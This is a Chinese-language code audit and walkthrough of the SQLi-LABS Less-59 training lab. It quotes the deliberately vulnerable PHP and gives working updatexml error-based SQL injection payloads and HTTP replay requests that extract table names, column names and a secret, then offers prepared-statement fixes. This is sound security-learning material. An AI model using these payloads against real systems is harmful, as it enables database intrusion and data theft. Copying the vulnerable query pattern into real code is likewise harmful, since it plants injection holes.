sqli-labs-Less-59-代码审计报告

14次阅读
没有评论

Less-59 代码审计报告:挑战关-6(数字型报错注入)

本报告基于 SQLi-LABS 教学靶场源码(授权范围内安全学习/代码审计)编写,所有代码定位均与 Less-59/index.php 及配套脚本实际文件一致。


1. 关卡概述

项目 内容
关卡名称 Less-59: Challenge-6(数字型无引号,报错回显开启 print_r(mysql_error()))
源码路径 Less-59/index.php + sql-connections/sql-connect-1.php、functions.php、setup-db-challenge.php
漏洞类型 SQL 注入 – 报错注入(数字型无引号);跨库读取 challenges 随机表 secret
注入点参数 GET /sqli-labs/Less-59/?id=;提交答案 POST key+answer_key
报错/盲注 报错回显开启(第 114 行),可用 updatexml 报错注入,效率最高
尝试次数 $times = 5(第 27 行)
所需环境 PHP 5.x + mysql 扩展 + MySQL 5.x(连接 challenges 库)

2. 漏洞代码定位

文件: Less-59/index.php

// 第 22-23 行:连接 challenges 库 + 随机表/列工具函数
include '../sql-connections/sql-connect-1.php';
include '../sql-connections/functions.php';
// 第 24 行:关闭 PHP 报错
error_reporting(0);
// 第 27 行:尝试次数上限
$times= 5;

// 第 97 行:注入点——数字型直接拼接,未过滤
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

// 第 101-110 行:有行则按数组映射显示用户名密码
if($row)
{
	$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
	$pass = array_reverse($unames);
	echo 'Your Login name : '. $unames[$row['id']];
	echo 'Your Password : ' .$pass[$row['id']];
}
else
{
	echo '<font color= "#FFFF00">';
	print_r(mysql_error());   // 第 114 行:报错回显开启
	echo "</font>";
}

关键漏洞点:

  • 第 67 行:$id=$_GET['id']; 未过滤。
  • 第 97 行:WHERE id=$id 数字型拼接,无需闭合引号。
  • 第 114 行:print_r(mysql_error()) 未注释,报错注入直接带出数据。
  • 挑战机制同 Less-54;$times=5,报错注入 3 次即可完成。

3. 漏洞分析

  • 输入来源:$_GET['id'],未过滤。
  • SQL 拼接位置:WHERE id=$id(数字型无引号),Payload 无需引号闭合。
  • 是否回显:报错回显开启(第 114 行),用 updatexml 报错注入。
  • 挑战机制:同 Less-54;随机表名(10 位 A-Z0-9)、secret_XXXX 列(第 3 列,limit 2,1)、24 位随机 secret。
  • 报错注入流程:表名 1 次 → 列名 1 次 → secret 值 1 次,共 3 次 GET,在 5 次限制内完成。

4. 利用方式

步骤一:判断注入点

?id=1        → 显示 Dumb
?id=1 and 1=1  → 显示
?id=1 and 1=2  → 不显示
?id=1 and updatexml(1,concat(0x7e,1),1)  → 报错 "XPATH syntax error: '~1'"

→ 数字型注入,报错可用。

步骤二:报错注入提取表名(第 1 次请求)

?id=1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='challenges' limit 0,1)),1)

预期报错:XPATH syntax error: '~<表名10位>',得到 <T>。

步骤三:报错注入提取 secret 列名(第 2 次请求)

?id=1 and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='challenges' and table_name='<T>' limit 2,1)),1)

预期报错:XPATH syntax error: '~secret_XXXX'。

步骤四:报错注入提取 24 位 secret 值(第 3 次请求)

?id=1 and updatexml(1,concat(0x7e,(select secret_XXXX from challenges.<T> limit 0,1)),1)

预期报错:XPATH syntax error: '~<24位secret>'(24 位 < 32 截断,一次拿全)。

步骤五:提交答案

POST /sqli-labs/Less-59/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded

key=<secret值>&answer_key=Submit

关于次数限制与 reset

  • 仅 5 次 ?id= GET;报错注入 3 次完成,余量 2 次;超限重置、随机表重建。

5. Yakit 重放数据包

提取表名:

GET /sqli-labs/Less-59/?id=1%20and%20updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema='challenges'%20limit%200,1)),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Accept: */*
Connection: close

提取 secret 列名:

GET /sqli-labs/Less-59/?id=1%20and%20updatexml(1,concat(0x7e,(select%20column_name%20from%20information_schema.columns%20where%20table_schema='challenges'%20limit%202,1)),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提取 secret 值(替换为实际表名/列名):

GET /sqli-labs/Less-59/?id=1%20and%20updatexml(1,concat(0x7e,(select%20secret_XXXX%20from%20challenges.%3CT%3E%20limit%200,1)),1) HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0
Accept: */*
Connection: close

提交答案:

POST /sqli-labs/Less-59/ HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Connection: close

key=DUMPED_SECRET_VALUE&answer_key=Submit

说明:%20=空格、0x7e=~;<T>、secret_XXXX 替换为实际结果。数字型无需闭合引号与注释符。


6. 修复建议

修复一(首选):PDO 预处理语句

<?php
$pdo = new PDO('mysql:host=localhost;dbname=security;charset=utf8mb4', $dbuser, $dbpass, [
    PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION,
]);
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id LIMIT 0,1");
$stmt->bindValue(':id', $id, PDO::PARAM_INT);
$stmt->execute();
$row = $stmt->fetch();

修复二:mysqli 预处理语句

<?php
$stmt = $mysqli->prepare("SELECT * FROM security.users WHERE id = ? LIMIT 0,1");
$stmt->bind_param('i', $id);
$stmt->execute();
$result = $stmt->get_result();
$row = $result->fetch_assoc();

修复三:输入校验 + 最小权限

  • id 强制整型校验:if (!ctype_digit($_GET['id'])) die('Invalid ID');。
  • 关闭报错回显(第 114 行),错误写日志、页面统一 500。
  • 注入账号仅授权 security 库;升级 PHP 7+ / 8+,移除 mysql_* 扩展。

附:验证与复现说明

  • 该环境为 SQLi-LABS 教学靶场(故意留洞),本报告仅用于授权范围内的安全学习与防御研究。
  • 复现前需:配置 sql-connections/db-creds.inc、通过 setup-db-challenge.php 初始化挑战库、使用支持 mysql_* 的 PHP 5.x 环境。
正文完
 0